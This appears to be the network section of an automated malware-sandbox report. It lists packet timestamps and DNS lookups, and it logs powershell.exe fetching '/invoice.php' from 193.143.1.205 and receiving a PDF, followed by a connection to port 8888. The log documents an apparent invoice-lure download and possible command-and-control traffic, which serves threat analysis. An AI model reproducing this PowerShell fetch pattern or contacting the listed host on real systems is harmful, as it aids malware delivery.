Jan 11, 2025 06:08:36.768404961 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.768469095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.768484116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.768497944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.768508911 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.768539906 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.768644094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.768656015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.768666983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.768680096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.768692017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.768693924 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.768707037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.768719912 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.768742085 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.774210930 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.798907995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.798930883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.798943043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.798957109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.798970938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.798984051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.798998117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.799011946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.799021959 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.799062014 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.799076080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.799077988 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.799092054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.799134016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.799140930 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.799163103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.799184084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.799197912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.799210072 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.799233913 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.799242973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.799253941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.799267054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.799289942 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.799292088 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.799305916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.799325943 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.799338102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.799350977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.799396038 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.799462080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.799484968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.799496889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.799506903 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.799510002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.799540043 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.799606085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.799619913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.799632072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.799644947 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.799645901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.799685001 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.799707890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.799720049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.799731970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.799745083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.799757004 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.799817085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.799829006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.799839973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.799843073 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.799854040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.799860954 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.799881935 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.800086975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.800100088 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.800121069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.800132990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.800133944 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.800141096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.800148010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.800156116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.800180912 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.800194979 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.800363064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.800376892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.800386906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.800400972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.800409079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.800415993 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.800422907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.800436974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.800442934 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.800457001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.800468922 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.800483942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.800496101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.800508976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.800509930 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.800530910 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.803962946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.803976059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.803987026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.804008961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.804024935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.804035902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.804044962 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.804048061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.804073095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.804075956 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.804086924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.804092884 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.804101944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.804126978 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.822947025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.822961092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.822972059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.822983027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.823005915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.823016882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.823029995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.823056936 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.823101044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.823121071 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.856040001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.856061935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.856072903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.856092930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.856106043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.856117964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.856133938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.856141090 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.856199980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.856213093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.856220007 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.856230974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.856244087 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.856333971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.856352091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.856364012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.856374979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.856375933 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.856395006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.856403112 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.856408119 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.856421947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.856434107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.856450081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.856450081 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.856466055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.856473923 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.856486082 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.856553078 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.856564999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.856575966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.856587887 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.856595993 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.856623888 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.856717110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.856729031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.856740952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.856753111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.856762886 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.856766939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.856786013 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.856786013 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.856805086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.856807947 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.856818914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.856831074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.856843948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.856858015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.856861115 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.856890917 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.856914043 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.856952906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.856965065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.856975079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.856993914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.856997013 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.857007980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.857019901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.857033014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.857043982 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.857070923 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.857099056 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.857142925 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.887346983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.887370110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.887382030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.887393951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.887417078 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.887428999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.887440920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.887451887 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.887466908 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.887521982 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.887527943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.887540102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.887558937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.887578011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.887578011 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.887589931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.887603045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.887619972 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.887640953 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.887728930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.887741089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.887752056 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.887763023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:36.887774944 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:36.887813091 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:37.049690962 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:37.378532887 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:37.839627028 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:37.844538927 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:37.844796896 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:37.845060110 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:37.851186991 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:38.670279980 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 06:08:38.716099977 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:40.144267082 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 06:08:50.265896082 CET	62319	53	192.168.2.5	1.1.1.1
Jan 11, 2025 06:08:50.270761013 CET	53	62319	1.1.1.1	192.168.2.5
Jan 11, 2025 06:08:50.270987988 CET	62319	53	192.168.2.5	1.1.1.1
Jan 11, 2025 06:08:50.274513006 CET	62319	53	192.168.2.5	1.1.1.1
Jan 11, 2025 06:08:50.279485941 CET	53	62319	1.1.1.1	192.168.2.5
Jan 11, 2025 06:08:50.715244055 CET	53	62319	1.1.1.1	192.168.2.5
Jan 11, 2025 06:08:50.719923973 CET	62319	53	192.168.2.5	1.1.1.1
Jan 11, 2025 06:08:50.725020885 CET	53	62319	1.1.1.1	192.168.2.5
Jan 11, 2025 06:08:50.725125074 CET	62319	53	192.168.2.5	1.1.1.1
Jan 11, 2025 06:09:04.823038101 CET	50345	53	192.168.2.5	162.159.36.2
Jan 11, 2025 06:09:04.827888966 CET	53	50345	162.159.36.2	192.168.2.5
Jan 11, 2025 06:09:04.827985048 CET	50345	53	192.168.2.5	162.159.36.2
Jan 11, 2025 06:09:04.828198910 CET	50345	53	192.168.2.5	162.159.36.2
Jan 11, 2025 06:09:04.832930088 CET	53	50345	162.159.36.2	192.168.2.5
Jan 11, 2025 06:09:05.272309065 CET	53	50345	162.159.36.2	192.168.2.5
Jan 11, 2025 06:09:05.275439024 CET	50345	53	192.168.2.5	162.159.36.2
Jan 11, 2025 06:09:05.280384064 CET	53	50345	162.159.36.2	192.168.2.5
Jan 11, 2025 06:09:05.280713081 CET	50345	53	192.168.2.5	162.159.36.2

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 06:08:50.265350103 CET	53	62830	1.1.1.1	192.168.2.5
Jan 11, 2025 06:08:50.782332897 CET	58300	53	192.168.2.5	1.1.1.1
Jan 11, 2025 06:09:03.448919058 CET	59695	53	192.168.2.5	1.1.1.1
Jan 11, 2025 06:09:04.822460890 CET	53	56236	162.159.36.2	192.168.2.5
Jan 11, 2025 06:09:05.275036097 CET	53920	53	192.168.2.5	1.1.1.1
Jan 11, 2025 06:09:05.282082081 CET	53	53920	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 06:08:50.782332897 CET	192.168.2.5	1.1.1.1	0x7a7c	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 11, 2025 06:09:03.448919058 CET	192.168.2.5	1.1.1.1	0xf3d2	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 11, 2025 06:09:05.275036097 CET	192.168.2.5	1.1.1.1	0x6ecc	Standard query (0)	18.31.95.13.in-addr.arpa	PTR (Pointer record)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 06:08:50.789594889 CET	1.1.1.1	192.168.2.5	0x7a7c	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 06:09:03.456006050 CET	1.1.1.1	192.168.2.5	0xf3d2	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 06:09:05.282082081 CET	1.1.1.1	192.168.2.5	0x6ecc	Name error (3)	18.31.95.13.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	193.143.1.205	80	2228	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:08:35.358155012 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 06:08:36.138144016 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 05:08:36 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 06:08:36.138195038 CET	224	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 06:08:36.138546944 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 11, 2025 06:08:36.138569117 CET	1236	IN	Data Raw: 3b 85 a9 6f 3f 00 00 00 00 00 00 00 00 00 1b 34 75 8a c1 d4 ca 25 f4 d1 96 d0 79 06 bd 9d 3d 6e a2 c7 a0 8a ce 93 68 1a 11 a5 87 ee 9e a9 6f 42 00 00 00 00 00 00 00 00 00 1b 31 75 84 c1 d4 6a 4a 68 1a ed 74 19 f4 f1 66 f6 b8 8e 1e 37 8f a9 8a 56 Data Ascii: ;o?4u%y=nhoB1ujJhtf7VOY;oE7uGv+j Tg~:{oEk6u~%f vA.q<pDtCtC'0`&K]%3h}
Jan 11, 2025 06:08:36.138581991 CET	448	IN	Data Raw: 14 ec a4 70 2c f4 e3 60 47 ae 3e 30 74 b0 23 f7 a4 d9 91 db 8d 85 7e 68 c7 42 df 76 db 71 df bc ba 78 fd f2 e2 f5 8b 8b 57 2f 9a ff 6c 7a e8 cb ae 87 a6 65 b9 fa e4 50 bb 29 f7 e6 69 b0 29 f7 b1 1b 0e 25 86 4e 6a ea 9b 13 00 00 c0 34 f8 62 09 00 Data Ascii: p,`G>0t#~hBvqxW/lzeP)i)%Nj4b/FcvQOt`{psBjK_~1DmM[9L/l4`U*;rfAnWB_)^oCeSC;i4b/FcvO
Jan 11, 2025 06:08:36.138622046 CET	1236	IN	Data Raw: 86 de 06 c7 86 12 43 a7 33 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b a7 70 60 68 1f 43 d3 81 a1 4f b7 26 86 9e 36 31 74 70 60 e8 db cb 2e 86 36 a7 85 b6 63 a1 cf ce 9f f7 8f b6 87 a6 e1 d0 cb 37 2f fd b1 a1 77 dd b1 a1 6d 0c Data Ascii: C3`\|d1;p`hCO&61tp`.6c7/wmM1~CrlvM}s_,%hLT]}lbu:0904zpap`}{+76z96tCoN%$)1&C{u`')6^
Jan 11, 2025 06:08:36.138634920 CET	1236	IN	Data Raw: 28 1d 18 fa a9 3f 30 d4 c5 d0 cb 26 86 9e 9f 35 31 f4 24 8c a1 af 87 31 b4 ef a1 a9 84 a6 1d b9 e5 18 7a da c6 d0 8b 14 43 af 9a 18 7a 7b db 1f 1b da c6 d0 47 13 43 19 0e dd 9e a9 6f 4e 00 00 00 d3 e0 8b 25 00 d8 4d 95 f7 e7 55 d2 c9 5a ae 24 17 Data Ascii: (?0&51$1zCz{GCoN%MUZ$M>la\yU.cZjW]g`Z^]~5W-qIae6d[&>+LW1:7zb7+Cz^m}Pwl(1t9L/`j5w.\y,Z*
